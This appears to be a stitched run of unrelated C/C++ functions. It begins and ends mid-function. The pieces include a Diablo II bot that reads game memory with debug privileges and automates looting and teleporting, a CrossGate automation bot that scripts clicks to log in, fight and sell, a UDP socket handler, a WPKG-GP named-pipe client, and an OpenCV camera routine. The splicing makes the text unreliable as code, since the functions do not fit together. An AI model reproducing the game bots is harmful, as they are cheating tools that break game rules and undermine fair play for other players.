i++) { // Need to clear this flag at the end of the monster waves if(groundItems[i].pickupAttempted) continue; strTmp.str(""); strTmp << "Picking Up "; if( !Item.Id ) if(groundItems[i].BaseItem == "rvl") { if(inventoryPotionsRejuve.size() < 5) { Item = groundItems[i]; strTmp << "Rejuvination Potion"; if(!Core->WithinRangePick( Item.Pos.xPos, Item.Pos.yPos ) ) { Item.Id = 0; teleSet( Item.Pos.xPos, Item.Pos.yPos, false ); pickupTele = true; return true; } } } if( !Item.Id && beltPotionsHealth.size() < 4) if(groundItems[i].BaseItem == "hp5") { Item = groundItems[i]; strTmp << "Health Potion"; if(!Core->WithinRangePick( Item.Pos.xPos, Item.Pos.yPos ) ) { Item.Id = 0; continue; } } if( !Item.Id && beltPotionsMana.size() < 4) if(groundItems[i].BaseItem == "mp5") { Item = groundItems[i]; strTmp << "Mana Potion"; if(!Core->WithinRangePick( Item.Pos.xPos, Item.Pos.yPos ) ) { Item.Id = 0; continue; } } if(Item.Id) { groundItems[i].pickupAttempted = true; pickedItem = false; pickingItem = Item; Core->pickItem( Item ); Core->Debug(2, strTmp.str()); ticksEnd = GetTickCount(); return true; } } // for } else { // pickingItem != 0 pickItemFailed++; ticksEnd = GetTickCount(); if(pickItemFailed > 5) { //if(groundItems.size()) //groundItemRemove(pickingItem.Id); pickingItem.Id = 0; return true; } return true; } } // ticksDiff > 0.20 if(pickingItem.Id != 0) return true; } // groundItems.size if(ticksDiff > 0.24f || walkComplete || (teleportFirstStep && !cta)) { if(followBots) { map<DWORD, _d2Player>::iterator Player; if(followMode == 0) { //if(publicMode) playersMuteAll(false); } // flowMode = 0 //if(followMode == 1) //Core->SpeakToAll("1"); if(followAllow) if(followMode == 2) Core->SpeakToAll("follow"); if(followMode == 3) Core->SpeakToAll("precast"); //if(followMode == 4) // Core->SpeakToAll("!bo"); // Check all bounds just incase if(followMode >= 4 || followMode < 0) { followMode = 0; followBots = false; } followMode++; ticksEnd = GetTickCount(); return true; } // followBots if(Running) { if(purchasing && purchaseComplete) { if(purchaseAmount--) { purchaseComplete = false; shoppingPurchasing = true; Core->TownPurchaseItem( unitMalah, purchaseItem, false ); ticksEnd = GetTickCount(); return true; } else { stepTown++; purchasing = false; shoppingPurchasing = false; ticksEnd = GetTickCount(); return true; } } else if (purchasing && !purchaseComplete) {// purchasing return true; } if(!town && cta) { CTARun(); ticksEnd = GetTickCount(); return true; } // !town && cta // CTAing before out of town if(town && cta) { if(currentStep == 0) { Core->GameOver("CTA in town!", false); return true; } else town = false; } if(portalCasting) { // Make it wait 3 seconds before rechucking if(!portalCast || ticksDiff > 4.0f) { portalCast = true; ThrowTP(); } //ticksEnd = GetTickCount(); return true; } // portalCasting } // Running if(interacting) { currentLevel = GetCurrentLevel(); if(currentLevel) if(currentLevel->dwLevelNo == LevelTarget) { Sleep(100); if(cMap.GenerateMap() == false) return true; Core->AllowPlayerReassign(); playerStop(); currentStep++; groundItems.clear(); LevelTarget = 0; interacting = false; interactingCount = 0; } else interactingCount++; if(interactingCount > 5) { Core->Debug(0, "Interaction failed"); interactingCount = 0; interacting = false; } free(currentLevel); ticksEnd = GetTickCount(); return true; } // Interacting if(Running && walking) { if(walkComplete) { walkComplete = false; if(walkStep == 0) { Core->playerMove( walkSteps[walkStep].X, walkSteps[walkStep].Y ); ticksEnd = GetTickCount(); return true; } } else { walkFailCounter++; if(walkFailCounter > 6) { walkFailCounter = 0; walkStep++; if(walkSteps[walkStep].X == 0) { walkComplete = false; walkStep--; Hero->posX = walkSteps[walkStep].X; Hero->posY = walkSteps[walkStep].Y; playerStop(); Core->playerMove(walkSteps[walkStep].X, walkSteps[walkStep].Y); walkCompleted(walkSteps[walkStep].X, walkSteps[walkStep].Y ); ticksEnd = GetTickCount(); return true; } } if(walkFailCounter == 0 || walkFailCounter == 5 || walkFailCounter == 10 || walkFailCounter == 15) Core->playerMove( walkSteps[walkStep].X, walkSteps[walkStep].Y ); walkComplete = false; ticksEnd = GetTickCount(); } return true; } // Running/Walking if(teleporting || teleportMoving) { if(ticksDiff > 0.30f || teleportFirstStep) { teleportFirstStep = false; if(teleStep >= teleSteps) { teleportTimeout++; if(( teleSteps > 1 && teleportTimeout > 150) || (teleportTimeout > 250)) { Core->Debug(0, "Teleport Timeout"); teleportTimeout = 0; teleStep = teleportCompleted + 1; teleFail++; if(telePath[ teleStep ].x == 0 || telePath[ teleStep ].y == 0) { teleStep--; if(teleStep < 0) teleStep = 0; } teleportMoving = true; if(teleFail > 3) { Core->Debug(0, "Teleport Failed"); teleporting = false; teleportMoving = false; teleportCompleted = 0; teleFail = 0; if(teleAbort) { gameTeleTimeout++; Core->GameOver("Teleporting Failed!", true); } return true; } return true; } else return true; } //telestep if(!teleportMoving) { teleportTimeout++; if(teleportTimeout > 300) { teleportTimeout = 0; //teleporting = false; teleportMoving = true; teleStep = teleportCompleted + 1; } return true; } if(telePath[ teleStep ].x == 0 || telePath[ teleStep ].y == 0) { //teleporting = false; teleportMoving = false; // This basically means we are waiting for us to arrive at our destination //teleSteps = 0; teleFail++; if(teleFail >= 3) { Core->Debug(0, "Teleport Failed"); teleporting = false; teleportMoving = false; teleportCompleted = 0; teleStep = 0; teleFail = 0; } return true; } Core->RightSkillFire( (WORD) telePath[ teleStep ].x, (WORD) telePath[ teleStep ].y ); teleStep++; ticksEnd = GetTickCount(); } // ticksdiff return true; } // teleporting if(ticksDiff > 0.30f) { if(town) { Running = true; Town(); ticksEnd = GetTickCount(); return true; } // Town } // ticksDiff (0.30) } float ticksDiffStart; ticksDiffStart = ((float) (ticksStartup - ticksEnd)) / 1000; if(ticksDiffStart > 10.0f) { if(firstLoad) { EnableDebugPriv(); if(!cMap.InitMemory("Diablo II", D2WindowTitle)) { //Quit = true; //Paused = true; //Core->Debug(0, "Init memory Failed!"); return true; } else { firstLoad = false; return true; } } currentLevel = GetCurrentLevel(); if(currentLevel) { if(currentLevel->dwLevelNo == 109) { // 109 = harrogath town = true; } else { if(town) firstTownLeave = true; town = false; } free(currentLevel); if(town && (currentStep > 0)) { if(realmCreateNewGame == true) return true; if(!manualMode) Core->GameOver("Found ourselves in town mid run!", true); Running = false; return true; } } } else // ticksdiffstart ticksEnd = GetTickCount(); return false; }
unsigned __stdcall I4C3DAcceptedThreadProc(void* pParam) { LoggingMessage(Log_Debug, _T(MESSAGE_DEBUG_PROCESSING), GetLastError(), g_FILE, __LINE__); I4C3DChildContext* pChildContext = (I4C3DChildContext*)pParam; I4C3DUDPPacket packet = {0}; const SIZE_T packetBufferSize = sizeof(packet.szCommand); SIZE_T totalRecvBytes = 0; int nBytes = 0; BOOL bBreak = FALSE; DWORD dwResult = 0; WSAEVENT hEvent = NULL; WSAEVENT hEventArray[2] = {0}; WSANETWORKEVENTS events = {0}; hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); if (hEvent == NULL) { LoggingMessage(Log_Error, _T(MESSAGE_ERROR_HANDLE_INVALID), GetLastError(), g_FILE, __LINE__); shutdown(pChildContext->clientSocket, SD_SEND); recv(pChildContext->clientSocket, packet.szCommand, packetBufferSize, 0); shutdown(pChildContext->clientSocket, SD_BOTH); closesocket(pChildContext->clientSocket); RemoveChildThread( pChildContext->hChildThread ); free(pChildContext); return EXIT_FAILURE; } WSAEventSelect(pChildContext->clientSocket, hEvent, FD_READ | FD_CLOSE); hEventArray[0] = hEvent; hEventArray[1] = pChildContext->pContext->hStopEvent; FillMemory(packet.szCommand, packetBufferSize, 0xFF); while (!bBreak) { if (!CheckNetworkEventError(events)) { break; } dwResult = WSAWaitForMultipleEvents(2, hEventArray, FALSE, WSA_INFINITE, FALSE); DEBUG_PROFILE_MONITOR; if (dwResult == WSA_WAIT_FAILED) { LoggingMessage(Log_Error, _T(MESSAGE_ERROR_HANDLE_INVALID), GetLastError(), g_FILE, __LINE__); break; } if (dwResult - WSA_WAIT_EVENT_0 == 0) { if (WSAEnumNetworkEvents(pChildContext->clientSocket, hEvent, &events) != 0) { LoggingMessage(Log_Error, _T(MESSAGE_ERROR_HANDLE_INVALID), GetLastError(), g_FILE, __LINE__); break; } if (events.lNetworkEvents & FD_CLOSE) { break; } else if (events.lNetworkEvents & FD_READ) { nBytes = recv(pChildContext->clientSocket, packet.szCommand + totalRecvBytes, packetBufferSize - totalRecvBytes, 0); if (nBytes == SOCKET_ERROR) { if (WSAGetLastError() == WSAEWOULDBLOCK) { continue; } else { LoggingMessage(Log_Error, _T(MESSAGE_ERROR_SOCKET_RECV), WSAGetLastError(), g_FILE, __LINE__); } break; } else if (nBytes > 0) { totalRecvBytes += nBytes; PCSTR pTermination = (PCSTR)memchr(packet.szCommand, pChildContext->cTermination, totalRecvBytes); // 終端文字が見つからない場合、バッファをクリア if (pTermination == NULL) { if (totalRecvBytes >= packetBufferSize) { FillMemory(packet.szCommand, packetBufferSize, 0xFF); totalRecvBytes = 0; } continue; } do { DEBUG_PROFILE_MONITOR; // プラグインへ電文転送 pChildContext->pContext->pController->Execute(&packet, pTermination-packet.szCommand+1); volatile int i; for (i = 0; i < g_sleepCount; ++i) { Sleep(1); } //} else { // // Hotkey // MoveMemory(szCommand, recvBuffer, pTermination-recvBuffer); // szCommand[pTermination-recvBuffer] = '\0'; // EnterCriticalSection(&g_Lock); // pChildContext->pContext->pController->Execute(pChildContext->pContext, &delta, szCommand); // LeaveCriticalSection(&g_Lock); //} if (pTermination == (packet.szCommand + totalRecvBytes - 1)) { FillMemory(packet.szCommand, packetBufferSize, 0xFF); totalRecvBytes = 0; } else if (pTermination < (packet.szCommand + totalRecvBytes - 1)) { int nCopySize = packetBufferSize - (pTermination - packet.szCommand + 1); totalRecvBytes -= (pTermination - packet.szCommand + 1); MoveMemory(packet.szCommand, pTermination+1, nCopySize); FillMemory(packet.szCommand + nCopySize, packetBufferSize - nCopySize, 0xFF); } else { bBreak = TRUE; LoggingMessage(Log_Error, _T(MESSAGE_ERROR_MESSAGE_INVALID), GetLastError(), g_FILE, __LINE__); break; } DEBUG_PROFILE_MONITOR; } while ((pTermination = (LPCSTR)memchr(packet.szCommand, pChildContext->cTermination, totalRecvBytes)) != NULL); DEBUG_PROFILE_MONITOR; } } } else if (dwResult - WSA_WAIT_EVENT_0 == 1) { // pChildContext->pContext->hStopEvent に終了イベントがセットされた break; } } SafeCloseHandle(hEvent); // closesocket shutdown(pChildContext->clientSocket, SD_SEND); recv(pChildContext->clientSocket, packet.szCommand, packetBufferSize, 0); shutdown(pChildContext->clientSocket, SD_BOTH); closesocket(pChildContext->clientSocket); RemoveChildThread( pChildContext->hChildThread ); free(pChildContext); LoggingMessage(Log_Debug, _T(MESSAGE_DEBUG_PROCESSING), GetLastError(), g_FILE, __LINE__); return EXIT_SUCCESS; }
void CGameAI::doStartGame() { int x = 0; int y = 0; RECT rect; DWORD pId = NULL; CString logStr; HWND ywtHWND = NULL; HWND crossGameHWND = NULL; //HWND ywtHWND = FindWindow(TEXT("#32770"), NULL); TRACE("game hwnd: %d\n", leader->getHWND()); if(leader->getHWND() != NULL) return; ywtHWND = FindWindow(NULL, TEXT("\u201c\u6613\u73a9\u901a\u201d\u5a31\u4e50\u5e73\u53f0")); if(ywtHWND != INVALID_HANDLE_VALUE) { TRACE("Doing start the game\n"); GetWindowThreadProcessId(ywtHWND, &pId); EnumWindows(EnumWindowCallBack, (LPARAM)&pId); ywtHWND = (HWND)pId; ShowWindow(ywtHWND, SW_SHOWNORMAL); Sleep(500); SetForegroundWindow(ywtHWND); Sleep(1000); CSystem::sendKey(VK_RETURN); Sleep(1000); if(script.x > 1 && script.x < 10) { for(int i = 1; i < script.x; ++i) { CSystem::sendKey(VK_DOWN); Sleep(1000); } } CSystem::sendKey(VK_RETURN); Sleep(4000); EnumWindows(FindCrossGateWindowsProc4Login, (LPARAM)&crossGameHWND); if(crossGameHWND) { isGameClosed = FALSE; leader->setHWND(crossGameHWND); SetForegroundWindow(ywtHWND); Sleep(500); rect.left = 140; rect.top = 140; rect.right = 170; rect.bottom = 154; while(leader->getScreen()->colorDeviation(&rect, RGB(99,36,33)) == 0) { leader->mapWindow->leftClickCenter(); Sleep(500); } rect.left = 136; rect.top = 172; rect.right = 166; rect.bottom = 186; fuckingMouse(); while(leader->getScreen()->colorDeviation(&rect, RGB(99,36,33)) == 0) { CSystem::leftClick(156, 148); Sleep(1000); } rect.left = 142; rect.top = 352; rect.right = 184; rect.bottom = 362; logStr.Format(TEXT("正在登录%d线"), script.y); writeLog(logStr); if(script.y < 1 || script.y > 10) script.y = 3; fuckingMouse(); while(leader->getScreen()->colorDeviation(&rect, RGB(255,255,255)) < 4) { if(script.y < 6) { x = 156; y = 116 + script.y*32; } else { x = 255; y = 116 + (script.y-5)*32; } CSystem::leftClick(x, y); Sleep(100); CSystem::leftClick(x, y); Sleep(100); CSystem::leftClick(x, y); Sleep(1000); } if(script.targetX != 2) CSystem::leftClick(162, 358); else CSystem::leftClick(480, 358); Sleep(8000); } } }
DWORD executeWpkgViaPipe(int called_by, bool debug_flag) { BOOL fSuccess = FALSE; int err; if (debug_flag) { DEBUG = TRUE; // Get install path from registry HKEY hKey = NULL; DWORD dwDataType = REG_SZ; DWORD dwSize = 0; LPBYTE lpValue = NULL; LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Wpkg-GP", 0, KEY_QUERY_VALUE, &hKey); lRet = RegQueryValueExA(hKey, "InstallPath", 0, &dwDataType, lpValue, &dwSize); // dwSize will contain the data size if (lRet == ERROR_SUCCESS) { // Allocate the buffer lpValue = (LPBYTE) malloc(dwSize + 1); lRet = RegQueryValueExA(hKey, "InstallPath", 0, &dwDataType, lpValue, &dwSize); RegCloseKey(hKey); // Adding null termination lpValue[dwSize] = '\0'; wchar_t debuglogpath[BUFSIZE]; swprintf_s(debuglogpath, BUFSIZE, L"%hs\\logs\\wpkg-gp-debug.log", lpValue); _wfopen_s(&debugfh, debuglogpath, L"a"); free(lpValue); } } if (called_by == GPE) EXECUTE_FROM_GPE = TRUE; else if (called_by == EXE) EXECUTE_FROM_EXE = TRUE; //Making sure the service has started SERVICE_STATUS_PROCESS ssStatus; DWORD dwBytesNeeded; // Get a handle to the SCM database. debug(L"Starting OpenSCManager\n"); SC_HANDLE schSCManager = OpenSCManager( NULL, // local computer NULL, // servicesActive database SC_MANAGER_ALL_ACCESS); // full access rights if (schSCManager == NULL) { err = GetLastError(); UpdateStatus(LOG_ERROR, L"Error when calling OpenSCManager", err); return err; } debug(L"Started OpenSCManager\n"); // Get a handle to the service. debug(L"Starting OpenService\n"); SC_HANDLE schService = OpenServiceW( schSCManager, // SCM database L"WpkgServer", // name of service SERVICE_ALL_ACCESS); // full access if (schService == NULL) { err = GetLastError(); CloseServiceHandle(schSCManager); UpdateStatus(LOG_ERROR, L"Error when calling OpenService", err); return err; } debug(L"Started OpenService\n"); // Check the status of the service debug(L"Starting QueryServiceStatusEx\n"); if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // information level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // size needed if buffer is too small { err = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); UpdateStatus(LOG_ERROR, L"Error when calling QueryServiceStatusEx", err); return err; } debug(L"Finished QueryServiceStatusEx\n"); debug(L"Checking the status of the service\n"); for (int i = 0; ssStatus.dwCurrentState != SERVICE_RUNNING; i++) { UpdateStatus(LOG_INFO, L"Waiting for the WPKG-GP software installation service to start.", FALSE); debug(L"The current status was not SERVICE_RUNNING: %i, but %i, entering wait loop. i is %i (max 120)\n", SERVICE_RUNNING, ssStatus.dwCurrentState, i); //Then wait for the service for maximum 120 seconds if (i >= 120) { UpdateStatus(LOG_ERROR, L"Service did not start for 120 seconds, quitting.", FALSE); return 101; //Timeout } if (EXECUTE_FROM_EXE) { UpdateStatus(LOG_INFO, L"Executed from exe file, will not wait for service to start", FALSE); break; } debug(L" Sleeping 1 second\n"); Sleep(1000); if (!QueryServiceStatusEx( schService, // handle to service SC_STATUS_PROCESS_INFO, // information level (LPBYTE) &ssStatus, // address of structure sizeof(SERVICE_STATUS_PROCESS), // size of structure &dwBytesNeeded ) ) // size needed if buffer is too small { err = GetLastError(); CloseServiceHandle(schService); CloseServiceHandle(schSCManager); UpdateStatus(LOG_ERROR, L"Error when calling QueryServiceStatusEx in loop", err); return err; } debug(L"Checking if service is running, comparing CurrentState: %i to SERVICE_RUNNING: %i\n", ssStatus.dwCurrentState, SERVICE_RUNNING); } CloseServiceHandle(schService); CloseServiceHandle(schSCManager); HANDLE hPipe; LPCWSTR lpszPipename = L"\\\\.\\pipe\\WPKG"; // Try to open a named pipe; wait for it, if necessary. while (1) { debug(L"Trying to run CreateFile on named pipe\n"); hPipe = CreateFileW( lpszPipename, // pipe name GENERIC_READ | // read and write access GENERIC_WRITE, 0, // no sharing NULL, // default security attributes OPEN_EXISTING, // opens existing pipe 0, // default attributes NULL); // no template file // Break the loop if the pipe handle is valid. if (hPipe != INVALID_HANDLE_VALUE) { debug(L"The pipe handle was valid, continuing\n"); break; } // Exit if an error other than ERROR_PIPE_BUSY occurs. err = GetLastError(); if (err != ERROR_PIPE_BUSY) { UpdateStatus(LOG_ERROR, L"CreatePipe returned an error.", err); return err; } // All pipe instances are busy, so wait for 20 seconds. debug(L"Waiting in 20 seconds for a free pipe instance\n"); if (!WaitNamedPipeW(lpszPipename, 20000)){ err = GetLastError(); UpdateStatus(LOG_ERROR, L"Pipe server had no free instances for 20 seconds, quitting.", err); return err; } } // The pipe connected; change to message-read mode. DWORD dwMode = PIPE_READMODE_MESSAGE; debug(L"Executing SetNamedPipeHandleState\n"); fSuccess = SetNamedPipeHandleState( hPipe, // pipe handle &dwMode, // new pipe mode NULL, // don't set maximum bytes NULL); // don't set maximum time if (!fSuccess){ err = GetLastError(); UpdateStatus(LOG_ERROR, L"CreatePipe returned an error.", err); return 206; } debug(L"Sending message to pipe server\n"); // Send a message to the pipe server. LPCSTR lpvMessage="ExecuteFromGPE"; DWORD cbWritten; fSuccess = WriteFile( hPipe, // pipe handle lpvMessage, // message lstrlenA(lpvMessage)+1, // message length &cbWritten, // bytes written NULL); // not overlapped if (!fSuccess) { err = GetLastError(); UpdateStatus(LOG_ERROR, L"WriteFile to named pipe returned an error.", err); return err; } debug(L"Waiting for reply from pipe server\n"); while (1) { char chBuf[BUFSIZE]; wchar_t wcBuf[BUFSIZE]; DWORD cbRead; // Read from the pipe. debug(L"Executing ReadFile on pipe\n"); fSuccess = ReadFile( hPipe, // pipe handle chBuf, // buffer to receive reply sizeof(chBuf), // size of buffer &cbRead, // number of bytes read NULL); // not overlapped err = GetLastError(); if (err == ERROR_HANDLE_EOF) { debug(L"Got to EOF, continuing"); break; } if (err == ERROR_PIPE_NOT_CONNECTED) { debug(L"Other end closed the pipe, continuing\n"); break; } if (!fSuccess && err != ERROR_MORE_DATA) { UpdateStatus(LOG_ERROR, L"ReadFile from named pipe returned an error.", err); return err; } if (cbRead < 4) { debug(L"Short message received %d bytes", cbRead); continue; } debug(L"Successfully read from pipe, retrieved Status Code %3.3S\n", chBuf); debug(L"Converting string to wchar_t\n"); cbWritten = MultiByteToWideChar(CP_UTF8, 0, &chBuf[4], cbRead-4, wcBuf, BUFSIZE-1); if (cbWritten == 0) { err = GetLastError(); UpdateStatus(LOG_ERROR, L"Conversion of data read from pipe failed.", err); return err; } wcBuf[cbWritten] = 0; debug(L"Calling UpdateStatus\n"); //pStatusCallback(FALSE, wcBuf); UpdateStatus(NO_LOG, wcBuf, FALSE); } CloseHandle(hPipe); if (DEBUG) if (debugfh != false) fclose(debugfh); return ERROR_SUCCESS; }
UINT CGameAI::gameAIThread(LPVOID lpVoid) { int tmpX = 0; int tmpY = 0; CGameAI *ai = (CGameAI *) lpVoid; CGame* leader = ai->getLeader(); CString logTmp; int mapWindowCheckCount = 0; int currX = 0; int currY = 0; int lastX = 0, lastY = 0; int nextX = 0; int nextY = 0; int walkStep = 0; int checkCounter = 0; int notExistsCounter = 0; int walkSleepTime = 0; BOOL isMapOpened = FALSE; BOOL hasNextStep = TRUE; int runTotal = 0; BOOL isMousePressForWalk = FALSE; //统计 ai->saleCounter = 0; ai->healCounter = 0; ai->resetCounter = 0; ai->talkCounter = 0; ai->backToCityCounter = 0; ai->fightTimes = 0; ai->fightRound = 0; ai->isFighting = FALSE; //End统计 //leader->getScreen()->startAutoRefresh(); ai->script.command = CScript::UNKNOW; ai->script.resetPos(); ai->startTime = CTime::GetCurrentTime(); ai->writeLog(TEXT("开始脚本")); CSystem::resetCounter(); //ai->fuckingMouse(); while(ai->isAIStart && hasNextStep) { if(ai->script.command == CScript::UNKNOW) { hasNextStep = ai->script.nextStep(); } if(leader->getScreen()->isFocus() && ai->script.command != CScript::START_GAME && ai->script.command != CScript::TIME && ai->script.command != CScript::AGAIN && ai->isGameClosed == FALSE) { Sleep(500); TRACE("No focus... command[%d], is focus [%d], is game closed [%d].\n", ai->script.command, leader->getScreen()->isFocus(), ai->isGameClosed); continue; } if(ai->script.command != CScript::START_GAME && ai->script.command != CScript::CLOSE_GAME && ai->script.command != CScript::TIME && !isMapOpened && leader->topRightWindow->isExists()) { Sleep(500); ai->checkHPAndMP(); leader->topRightWindow->openMap(); Sleep(500); leader->topRightWindow->disablePets(); isMapOpened = TRUE; TRACE("Map is opened!\n"); Sleep(500); ai->writeLog(TEXT("打开地图窗口")); if(leader->topLeftWindow->isExists()) ai->writeLog(TEXT("检查左上窗口成功")); else ai->writeLog(TEXT("检查左上窗口失败")); Sleep(200); } else ai->writeLog(TEXT("不检查右上窗口")); if(ai->script.command == CScript::WALK || ai->script.command == CScript::CHANGE_MAP) { if(leader->mapWindow->isExists()) { if(ai->isFighting == TRUE) { ai->isFighting = FALSE; ++ai->fightTimes; isMousePressForWalk = FALSE; leader->mapWindow->leftClickCenter(); //防断线 ai->fuckingNP(); notExistsCounter = 0; Sleep(200); continue; } mapWindowCheckCount = 0; currX = leader->mapWindow->getX(); currY = leader->mapWindow->getY(); } else { if(leader->isOffline()) { logTmp.Format(TEXT("执行脚本命令[%d] 下一坐标(%d,%d) 目标坐标(%d,%d) 时断线, 断线前坐标(%d,%d)") , ai->script.command, ai->script.x, ai->script.y , ai->script.targetX, ai->script.targetY , lastX, lastY); ai->writeLog(logTmp); ai->isAIStart = FALSE; break; } ++mapWindowCheckCount; if(mapWindowCheckCount < 5) { ++notExistsCounter; Sleep(1000); continue; } } }// Travel switch(ai->script.command) { case CScript::CHANGE_MAP: if((abs(ai->script.targetX -currX) < 2 && abs(ai->script.targetY - currY) < 2) || (ai->script.targetX == 0 && ai->script.targetY == 0 && (abs(currX - ai->script.x) > 4 || abs(currY - ai->script.y) > 4))) { hasNextStep = ai->script.nextStep(); ai->writeLog(TEXT("转图完成")); break; } case CScript::WALK: if(mapWindowCheckCount > 0) break; if(currX == ai->script.x && currY == ai->script.y) { //leader->mapWindow->move2center(); logTmp.Format(TEXT("已经走到达目标坐标(%d,%d)"), ai->script.x, ai->script.y); ai->writeLog(logTmp); hasNextStep = ai->script.nextStep(); break; } nextX = ai->script.x - currX; nextY = ai->script.y - currY; walkStep = leader->mapWindow->goNext(nextX, nextY); walkSleepTime = 0; /*if((nextX != 0 && abs(nextX) < 8 && nextY == 0) || (nextY != 0 && abs(nextY) < 8 && nextX == 0)) { TRACE("Sleep more................................\n"); walkSleepTime = (WALK_INTERVAL - 80)*walkStep; }*/ walkSleepTime += walkStep*WALK_INTERVAL; if(walkStep < 2) walkSleepTime += (WALK_INTERVAL)*2; else if(walkStep < 4) walkSleepTime += (WALK_INTERVAL+100)*walkStep; TRACE("Walk Sleep Time: %d\n", walkSleepTime); Sleep(walkSleepTime); /* if(!isMousePressForWalk) { isMousePressForWalk = TRUE; CSystem::leftPress(0, 0); } if( (nextX != 0 && abs(nextX) < 5 ) || (nextY != 0 && abs(nextY) < 5 ) ) { Sleep(250); leader->mapWindow->centerXY(&tmpX, &tmpY); if(nextX < 0) { tmpX -= 10; tmpY += 10; } SetCursorPos(tmpX, tmpY); Sleep(walkStep*WALK_INTERVAL); } */ //重置机制 if(lastX == currX && lastY == currY) { ++checkCounter; //Sleep(500); } else checkCounter = 0; if(checkCounter > 20) { isMousePressForWalk = FALSE; ai->writeLog(TEXT("发现人物卡死,尝试重新开始")); ai->script.resetPos(); hasNextStep = ai->script.nextStep(); continue; } else if(checkCounter > 2) { isMousePressForWalk = FALSE; } lastX = currX; lastY = currY; //end 重置机制 continue; case CScript::HEAL: ai->doHeal(); ++ai->healCounter; hasNextStep = ai->script.nextStep(); break; case CScript::AGAIN: ai->writeLog(TEXT("脚本重来")); ai->script.resetPos(); hasNextStep = ai->script.nextStep(); TRACE("=============== Again ==================\n"); ++ai->resetCounter; break; case CScript::FIND_ENEMY: ai->doFindEnemy(); hasNextStep = ai->script.nextStep(); break; case CScript::TALK: ai->doTalk(); hasNextStep = ai->script.nextStep(); ++ai->talkCounter; break; case CScript::AUTO_FIGHT: TRACE("Start auto fight.\n"); ai->writeLog(TEXT("开始自动战斗")); while(ai->isAIStart) ai->autoFight(); break; case CScript::BACK_TO_CITY: ai->doBackToCity(); hasNextStep = ai->script.nextStep(); break; case CScript::SALE: ai->doSale(); hasNextStep = ai->script.nextStep(); ++ai->saleCounter; break; case CScript::TIME: ai->doTime(); hasNextStep = ai->script.nextStep(); break; case CScript::TEST: ai->doTest(); hasNextStep = ai->script.nextStep(); break; case CScript::CLOSE_GAME: ai->doCloseGame(); hasNextStep = ai->script.nextStep(); break; case CScript::START_GAME: ai->doStartGame(); hasNextStep = ai->script.nextStep(); isMapOpened = FALSE; break; } // end switch if(hasNextStep == FALSE) return 0; if(notExistsCounter > 1) ai->autoFight(); TRACE("command: %d, current (%d,%d), next: (%d,%d), target: (%d,%d)\n", ai->script.command, currX, currY, ai->script.x, ai->script.y, ai->script.targetX, ai->script.targetY); continue; } ai->endTime = CTime::GetCurrentTime(); runTotal = ai->endTime.GetTime() - ai->startTime.GetTime(); logTmp.Format(TEXT("结束脚本,总运行时间: %02d:%02d:%02d, 左键点击次数: %d, 右键点击次数: %d, 键盘按键次数: %d, 回城次数: %d, 治疗次数: %d, 对话次数: %d, 脚本重复次数: %d, 售卖次数: %d, 战斗数: %d, 回合数: %d\r\n\r\n") , runTotal / 3600, runTotal / 60 % 60, runTotal % 60, CSystem::getLeftClickCounter() , CSystem::getRightClickCounter(), CSystem::getSendKeyCounter() , ai->backToCityCounter, ai->healCounter, ai->talkCounter, ai->resetCounter, ai->saleCounter , ai->fightTimes, ai->fightRound); ai->writeLog(logTmp); return 0; }
// Initialize camera input bool CvCaptureCAM_PvAPI::open( int index ) { tPvCameraInfo cameraList[MAX_CAMERAS]; tPvCameraInfo camInfo; tPvIpSettings ipSettings; if (PvInitialize()) { } //return false; Sleep(1000); //close(); int numCameras=PvCameraList(cameraList, MAX_CAMERAS, NULL); if (numCameras <= 0 || index >= numCameras) return false; Camera.UID = cameraList[index].UniqueId; if (!PvCameraInfo(Camera.UID,&camInfo) && !PvCameraIpSettingsGet(Camera.UID,&ipSettings)) { /* struct in_addr addr; addr.s_addr = ipSettings.CurrentIpAddress; printf("Current address:\t%s\n",inet_ntoa(addr)); addr.s_addr = ipSettings.CurrentIpSubnet; printf("Current subnet:\t\t%s\n",inet_ntoa(addr)); addr.s_addr = ipSettings.CurrentIpGateway; printf("Current gateway:\t%s\n",inet_ntoa(addr)); */ } else { fprintf(stderr,"ERROR: could not retrieve camera IP settings.\n"); return false; } if (PvCameraOpen(Camera.UID, ePvAccessMaster, &(Camera.Handle))==ePvErrSuccess) { tPvUint32 frameWidth, frameHeight; unsigned long maxSize; // By Default, try to set the pixel format to Mono8. This can be changed later // via calls to setProperty. Some colour cameras (i.e. the Manta line) have a default // image mode of Bayer8, which is currently unsupported, so Mono8 is a safe bet for // startup. monocrome = (PvAttrEnumSet(Camera.Handle, "PixelFormat", "Mono8") == ePvErrSuccess); PvAttrUint32Get(Camera.Handle, "Width", &frameWidth); PvAttrUint32Get(Camera.Handle, "Height", &frameHeight); // Determine the maximum packet size supported by the system (ethernet adapter) // and then configure the camera to use this value. If the system's NIC only supports // an MTU of 1500 or lower, this will automatically configure an MTU of 1500. // 8228 is the optimal size described by the API in order to enable jumbo frames maxSize = 8228; //PvAttrUint32Get(Camera.Handle,"PacketSize",&maxSize); if (PvCaptureAdjustPacketSize(Camera.Handle,maxSize)!=ePvErrSuccess) return false; resizeCaptureFrame(frameWidth, frameHeight); return startCapture(); } fprintf(stderr,"Error cannot open camera\n"); return false; }
void CGameAI::doSale() { RECT rect = {0}; int goodsCounter = 0; int times = 0; BOOL done = FALSE; int tmp = 0; int currX = 0; int currY = 0; makeSureLocation(); writeLog(TEXT("出售魔石")); while(!done && isAIStart) { ++times; rightClickTager(script.targetX, script.targetY); Sleep(TALK_INTERVAL/2); fuckingMouse(); Sleep(TALK_INTERVAL/2); tmp = leader->getScreen()->colorDeviation(&SALE_CONDITION, RGB(255,255,255)); if(tmp >=30 && tmp < 50) { CSystem::leftClick(&SALE_CONDITION); Sleep(TALK_INTERVAL); } else if (tmp < 30 && tmp > 5) { CSystem::leftClick(&SALE_CONDITION2); Sleep(TALK_INTERVAL); } for(int i = 0; i < LOOP_TIMES; ++i) { if(leader->getScreen()->locate(IDB_ALL, &rect, &SALE_ALL_CONDITION)) { TRACE("Found Sale all\n"); CSystem::leftClick(&rect); Sleep(TALK_INTERVAL); for( int x = 0; x < LOOP_TIMES; ++x) { if(leader->getScreen()->locate(IDB_SURE, &rect, &SALE_SURE_CONDITION)) { TRACE("Found sale sure\n"); CSystem::leftClick(&rect); 